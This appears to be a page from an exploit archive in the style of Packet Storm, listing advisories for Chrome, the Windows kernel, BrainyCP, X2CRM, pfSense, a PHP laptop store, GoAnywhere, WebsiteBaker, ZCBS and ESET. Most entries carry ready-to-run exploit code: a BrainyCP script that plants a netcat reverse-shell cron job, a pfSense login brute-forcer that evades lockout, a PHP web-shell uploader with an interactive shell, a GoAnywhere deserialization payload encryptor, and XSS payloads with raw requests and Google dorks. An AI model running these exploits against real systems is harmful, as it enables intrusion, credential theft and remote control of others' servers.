Chrome suffers from a heap buffer overflow vulnerability in base::debug::ActivityUserData::ActivityUserData.

Chrome base::debug::ActivityUserData::ActivityUserData Heap Buffer Overflow

The Microsoft Windows kernel suffers from multiple issues with subkeys of transactionally renamed registry keys.

Windows Kernel Registry Key Issue

BrainyCP version 1.0 suffers from a remote code execution vulnerability.

    # Exploit Title: BrainyCP V1.0 - Remote Code Execution# Date: 2023-04-03# Exploit Author: Ahmet Ümit BAYRAM# Vendor Homepage: https://brainycp.io# Demo: https://demo.brainycp.io# Tested on: Kali Linux# CVE : N/Aimport requests# credentialsurl = input("URL: ")username = input("Username: ")password = input("Password: ")ip = input("IP: ")port = input("Port: ")# login session = requests.Session()login_url = f"{url}/auth.php"login_data = {"login": username, "password": password, "lan": "/"}response = session.post(login_url, data=login_data)if "Sign In" in response.text:    print("[-] Wrong credentials or may the system patched.")    exit()# reverse shell reverse_shell = f"nc {ip} {port} -e /bin/bash"# requestadd_cron_url = f"{url}/index.php?do=crontab&subdo=ajax&subaction=addcron"add_cron_data = {    "cron_freq_minutes": "*",    "cron_freq_minutes_own": "",    "cron_freq_hours": "*",    "cron_freq_hours_own": "",    "cron_freq_days": "*",    "cron_freq_days_own": "",    "cron_freq_months": "*",    "cron_freq_weekdays": "*",    "cron_command": reverse_shell,    "cron_user": username,}response = session.post(add_cron_url, data=add_cron_data)print("[+] Check your listener!")

BrainyCP 1.0 Remote Code Execution

X2CRM versions 6.6 and 6.9 suffer from multiple cross site scripting vulnerabilities.

    # Exploit Title: X2CRM v6.6/6.9 - Stored Cross-Site Scripting (XSS) (Authenticated)# Exploit Author: Betul Denizler# Vendor Homepage: https://x2crm.com/# Software Link: https://sourceforge.net/projects/x2engine/# Version: X2CRM v6.6/6.9# Tested on: Ubuntu Mate 20.04# Vulnerable Parameter: Actions[subject]# CVE: CVE-2022-48178# Date: 27.12.2022'''POC REQUEST:========POST /c2xrm/x2engine/index.php/actions/update?id=1 HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: */*Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 172Origin: http://localhostConnection: closeReferer: http://localhost/c2xrm/x2engine/index.php/actions/viewAction?id=1Cookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; PHPSESSID=kg3n7kcjqtm29fc7n4m72m0bt5; YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; 5d8630d289284e8c14d15b14f4b4dc28=779a63cb39d04cca59b4a3b9b2a4fad817930211a%3A4%3A%7Bi%3A0%3Bs%3A1%3A%224%22%3Bi%3A1%3Bs%3A5%3A%22test2%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; sessionToken=Ncr7UIvK2yPvHzZc8koNW4DaIXxwZnsrSec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originYII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab&Actions%5Bsubject%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&Actions%5Bpriority%5D=1&Actions%5BactionDescription%5D=testEXPLOITATION========1. Create an action2. Inject payload to the vulnerable parameter in POST requestPayload: %3Cscript%3Ealert(1)%3C%2Fscript%3E'''# Exploit Title: X2CRM v6.6/6.9 - Reflected Cross-Site Scripting (XSS) (Authenticated)# Exploit Author: Betul Denizler# Vendor Homepage: https://x2crm.com/# Software Link: https://sourceforge.net/projects/x2engine/# Version: X2CRM v6.6/6.9# Tested on: Ubuntu Mate 20.04# Vulnerable Parameter: model# CVE: Use CVE-2022-48177# Date: 27.12.2022'''POC REQUEST:========GET /x2crm/x2engine/index.php/admin/importModels?model=asd%22%3E%3Cbody%20onload=%22alert(4)%22%3E HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: LoginForm[username]=admin; LoginForm[rememberMe]=1; PHPSESSID=959fpkms4abdhtresce9k9rmk3; YII_CSRF_TOKEN=e5d14327e116fe92a5feb663d52e0920f1a4adab; d9ee490d05f512911c1c4614c37db2b8=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; locationTrackingFrequency=60; locationTrackingSwitch=1; 5d8630d289284e8c14d15b14f4b4dc28=15982c76efa545e0e6fcd167baa86541c1ef91eda%3A4%3A%7Bi%3A0%3Bs%3A1%3A%221%22%3Bi%3A1%3Bs%3A5%3A%22admin%22%3Bi%3A2%3Bi%3A2592000%3Bi%3A3%3Ba%3A0%3A%7B%7D%7D; sessionToken=FFWkdliSAKgtUbP1dKP4iswyYRelqyQ4Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1EXPLOITATION========1. Select Import Records Model in admin settings2. Inject payload to the vulnerable parameter in GET requestPayload: "><body onload="alert(4)">'''

X2CRM 6.6 / 6.9 Cross Site Scripting

pfsenseCE version 2.6.0 suffers from an anti-brute force protection bypass vulnerability.

    #!/usr/bin/python3## Exploit Title: pfsenseCE v2.6.0 - Anti-brute force protection bypass## Google Dork: intitle:"pfSense - Login"## Date: 2023-04-07## Exploit Author: FabDotNET (Fabien MAISONNETTE)## Vendor Homepage: https://www.pfsense.org/## Software Link: https://atxfiles.netgate.com/mirror/downloads/pfSense-CE-2.6.0-RELEASE-amd64.iso.gz## Version: pfSenseCE <= 2.6.0## CVE: CVE-2023-27100# Vulnerability## CVE: CVE-2023-27100## CVE URL: https://nvd.nist.gov/vuln/detail/CVE-2023-27100## Security Advisory: https://docs.netgate.com/downloads/pfSense-SA-23_05.sshguard.asc## Patch: https://redmine.pfsense.org/projects/pfsense/repository/1/revisions/9633ec324eada0b870962d3682d264be577edc66import requestsimport sysimport reimport argparseimport textwrapfrom urllib3.exceptions import InsecureRequestWarning# Expected Argumentsparser = argparse.ArgumentParser(description="pfsenseCE <= 2.6.0 Anti-brute force protection bypass",                                 formatter_class=argparse.RawTextHelpFormatter,                                 epilog=textwrap.dedent(''' Exploit Usage : ./CVE-2023-27100.py -l http://<pfSense>/ -u user.txt -p pass.txt./CVE-2023-27100.py -l http://<pfSense>/ -u /Directory/user.txt -p /Directory/pass.txt'''))parser.add_argument("-l", "--url", help="pfSense WebServer (Example: http://127.0.0.1/)")parser.add_argument("-u", "--usersList", help="Username Dictionary")parser.add_argument("-p", "--passwdList", help="Password Dictionary")args = parser.parse_args()if len(sys.argv) < 2:    print(f"Exploit Usage: ./CVE-2023-27100.py -h [help] -l [url] -u [user.txt] -p [pass.txt]")    sys.exit(1)# Variableurl = args.urlusersList = args.usersListpasswdList = args.passwdList# Suppress only the single warning from urllib3 needed.if url.upper().startswith("HTTPS://"):    requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)print('pfsenseCE <= 2.6.0 Anti-brute force protection bypass')def login(userlogin, userpasswd):    session = requests.session()    r = session.get(url, verify=False)    # Getting CSRF token value    csrftoken = re.search(r'input type=\'hidden\' name=\'__csrf_magic\' value="(.*?)"', r.text)    csrftoken = csrftoken.group(1)    # Specifying Headers Value    headerscontent = {        'User-Agent': 'Mozilla/5.0',        'Referer': f"{url}",        'X-Forwarded-For': '42.42.42.42'    }    # POST REQ data    postreqcontent = {        '__csrf_magic': f"{csrftoken}",        'usernamefld': f"{userlogin}",        'passwordfld': f"{userpasswd}",        'login': 'Sign+In'    }    # Sending POST REQ    r = session.post(url, data=postreqcontent, headers=headerscontent, allow_redirects=False, verify=False)    # Conditional loops    if r.status_code != 200:        print(f'[*] - Found Valid Credential !!')        print(f"[*] - Use this Credential -> {userlogin}:{userpasswd}")        sys.exit(0)# Reading User.txt & Pass.txt filesuserfile = open(usersList).readlines()passfile = open(passwdList).readlines()for user in userfile:    user = user.strip()    for passwd in passfile:        passwd = passwd.strip()        login(user, passwd)

pfsenseCE 2.6.0 Protection Bypass

Online Computer And Laptop Store version 1.0 suffers from a remote shell upload vulnerability.

#!/usr/bin/env python3

# Exploit Title: Online Computer and Laptop Store 1.0 - Remote Code Execution (RCE)  
# Date: 09/04/2023  
# Exploit Author: Matisse Beckandt (Backendt)  
# Vendor Homepage: https://www.sourcecodester.com/php/16397/online-computer-and-laptop-store-using-php-and-mysql-source-code-free-download.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-ocls.zip  
# Version: 1.0  
# Tested on: Debian 11.6  
# CVE : CVE-2023-1826

# Exploit Description : The application does not sanitize the 'img' parameter when sending data to '/classes/SystemSettings.php?f=update_settings'. An attacker can exploit this issue by uploading a PHP file and accessing it, leading to Remote Code Execution.  
import requests  
from argparse import ArgumentParser  
from uuid import uuid4  
from datetime import datetime, timezone

def interactiveShell(fileUrl: str):  
    print("Entering pseudo-shell. Type 'exit' to quit")  
    while True:  
        command = input("\n$ ")  
        if command == "exit":  
            break

        response = requests.get(f"{fileUrl}?cmd={command}")  
        print(response.text)

def uploadFile(url: str, filename: str, content):  
    endpoint = f"{url}/classes/SystemSettings.php?f=update_settings"  
    file = {"img": (filename, content)}

    response = requests.post(endpoint, files=file)  
    return response

def getUploadedFileUrl(url: str, filename: str):  
    timeNow = datetime.now(timezone.utc).replace(second=0) # UTC time, rounded to minutes  
    epoch = int(timeNow.timestamp()) # Time in milliseconds  
    possibleFilename = f"{epoch}_{filename}"  
    fileUrl = f"{url}/uploads/{possibleFilename}"  
    response = requests.get(fileUrl)  
    if response.status_code == 200:  
        return fileUrl

def exploit(url: str):  
    filename = str(uuid4()) + ".php"  
    content = "<?php system($_GET['cmd'])?>"  
    response = uploadFile(url, filename, content)

    if response.status_code != 200:  
        print(f"[File Upload] Got status code {response.status_code}. Expected 200.")

    uploadedUrl = getUploadedFileUrl(url, filename)  
    if uploadedUrl == None:  
        print("Error. Could not find the uploaded file.")  
        exit(1)  
    print(f"Uploaded file is at {uploadedUrl}")

    try:  
        interactiveShell(uploadedUrl)  
    except KeyboardInterrupt:  
        pass  
    print("\nQuitting.")

def getWebsiteURL(url: str):  
    if not url.startswith("http"):  
        url = "http://" + url  
    if url.endswith("/"):  
        url = url[:-1]  
    return url

def main():  
    parser = ArgumentParser(description="Exploit for CVE-2023-1826")  
    parser.add_argument("url", type=str, help="The url to the application's installation. Example: http://mysite:8080/php-ocls/")  
    args = parser.parse_args()

    url = getWebsiteURL(args.url)  
    exploit(url)

if __name__ == "__main__":  
    main()

Online Computer And Laptop Store 1.0 Shell Upload

Goanywhere Encryption Helper version 7.1.1 suffers from a remote code execution vulnerability.

    // Exploit Title: Goanywhere Encryption helper 7.1.1 - Remote Code Execution (RCE)// Google Dork:  title:"GoAnywhere" // Date: 3/26/2023// Exploit Author: Youssef Muhammad// Vendor Homepage: https://www.goanywhere.com/// Software Link:  https://www.dropbox.com/s/j31l8lgvapbopy3/ga7_0_3_linux_x64.sh?dl=0// Version:  > 7.1.1 for windows / > 7.0.3 for Linux // Tested on: Windows, Linux// CVE : CVE-2023-0669// This script is needed to encrypt the serialized payload generated by the ysoserial tool in order to achieve Remote Code Execution import java.util.Base64;import javax.crypto.Cipher;import java.nio.charset.StandardCharsets;import javax.crypto.SecretKeyFactory;import javax.crypto.spec.PBEKeySpec;import javax.crypto.spec.IvParameterSpec;import javax.crypto.spec.SecretKeySpec;import java.nio.file.Files;import java.nio.file.Paths;public class CVE_2023_0669_helper {    static String ALGORITHM = "AES/CBC/PKCS5Padding";    static byte[] KEY = new byte[30];    static byte[] IV = "AES/CBC/PKCS5Pad".getBytes(StandardCharsets.UTF_8);    public static void main(String[] args) throws Exception {        if (args.length != 2) {            System.out.println("Usage: java CVE_2023_0669_helper <file_path> <version>");            System.exit(1);        }        String filePath = args[0];        String version = args[1];        byte[] fileContent = Files.readAllBytes(Paths.get(filePath));        String encryptedContent = encrypt(fileContent, version);        System.out.println(encryptedContent);    }    public static String encrypt(byte[] data, String version) throws Exception {        Cipher cipher = Cipher.getInstance(ALGORITHM);        KEY = (version.equals("2")) ? getInitializationValueV2() : getInitializationValue();        SecretKeySpec keySpec = new SecretKeySpec(KEY, "AES");        IvParameterSpec ivSpec = new IvParameterSpec(IV);        cipher.init(Cipher.ENCRYPT_MODE, keySpec, ivSpec);        byte[] encryptedObject = cipher.doFinal(data);        String bundle = Base64.getUrlEncoder().encodeToString(encryptedObject);        String v = (version.equals("2")) ? "$2" : "";        bundle += v;        return bundle;    }    private static byte[] getInitializationValue() throws Exception {        // Version 1 Encryption        String param1 = "go@nywhereLicenseP@$$wrd";        byte[] param2 = {-19, 45, -32, -73, 65, 123, -7, 85};        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 9535, 256)).getEncoded();    }    private static byte[] getInitializationValueV2() throws Exception {        // Version 2 Encryption        String param1 = "pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R";        byte[] param2 = {99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73};        return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String(param1.getBytes(), "UTF-8").toCharArray(), param2, 3392, 256)).getEncoded();    }}

Goanywhere Encryption Helper 7.1.1 Remote Code Execution

WebsiteBaker version 2.13.3 suffers from a cross site scripting vulnerability.

    Exploit Title: WebsiteBaker v2.13.3 - Cross-Site Scripting (XSS)Application: WebsiteBakerVersion: 2.13.3Bugs:  Stored XSSTechnology: PHPVendor URL: https://websitebaker.org/pages/en/home.phpSoftware Link: https://wiki.websitebaker.org/doku.php/en/downloadsDate of found: 02.04.2023Author: Mirabbas AğalarovTested on: Linux 2. Technical Details & POC========================================steps: 1.Anyone who has the authority to create the page can do thispayload: %3Cimg+src%3Dx+onerror%3Dalert%281%29%3EPOST /admin/pages/add.php HTTP/1.1Host: localhostContent-Length: 137Cache-Control: max-age=0sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Linux"Upgrade-Insecure-Requests: 1Origin: nullContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9Cookie: klaro=%7B%22klaro%22%3Atrue%2C%22mathCaptcha%22%3Atrue%7D; PHPSESSID-WB-0e93a2=pj9s35ka639m9bim2a36rtu5g9Connection: closeb7faead37158f739=dVhd_I3X7317NvoIzyGpMQ&title=%3Cimg+src%3Dx+onerror%3Dalert%281%29%3E&type=wysiwyg&parent=0&visibility=public&submit=Add2. Visit http://localhost/

WebsiteBaker 2.13.3 Cross Site Scripting

ZCBS, ZBBS, and ZPBS version 4.14k suffer from a cross site scripting vulnerability.

Change Mirror Download

    # Exploit Title: ZCBS/ZBBS/ZPBS v4.14k - Reflected Cross-Site Scripting (XSS)# Date: 2023-03-30# CVE: CVE-2023-26692# Exploit Author: Abdulaziz Saad (@b4zb0z)# Vendor Homepage: https://www.zcbs.nl# Version: 4.14k# Tested on: LAMP, Ubuntu# Google Dork: inurl:objecten.pl?ident=3D---[#] Vulnerability :`$_GET['ident']`[#] Exploitation :`https://localhost/cgi-bin/objecten.pl?ident=3D%3Cimg%20src=3Dx%20onerror==3Dalert(%22XSS%22)%3E`

ZCBS / ZBBS / ZPBS 4.14k Cross Site Scripting

ESET Service version 16.0.26.0 suffers from an unquoted service path vulnerability.

    # Exploit Title: ESET Service 16.0.26.0 - 'Service ekrn' Unquoted Service Path# Exploit Author: Milad Karimi (Ex3ptionaL)# Exploit Date: 2023-04-05# Vendor : https://www.eset.com# Version : 16.0.26.0# Tested on OS: Microsoft Windows 11 pro x64#PoC :==============C:\>sc qc ekrn[SC] QueryServiceConfig SUCCESSSERVICE_NAME: ekrn        TYPE               : 20  WIN32_SHARE_PROCESS        START_TYPE         : 2   AUTO_START        ERROR_CONTROL      : 1   NORMAL        BINARY_PATH_NAME   : "C:\Program Files\ESET\ESET Security\ekrn.exe"        LOAD_ORDER_GROUP   : Base        TAG                : 0        DISPLAY_NAME       : ESET Service        DEPENDENCIES       :        SERVICE_START_NAME : LocalSystem

Source

Packet Storm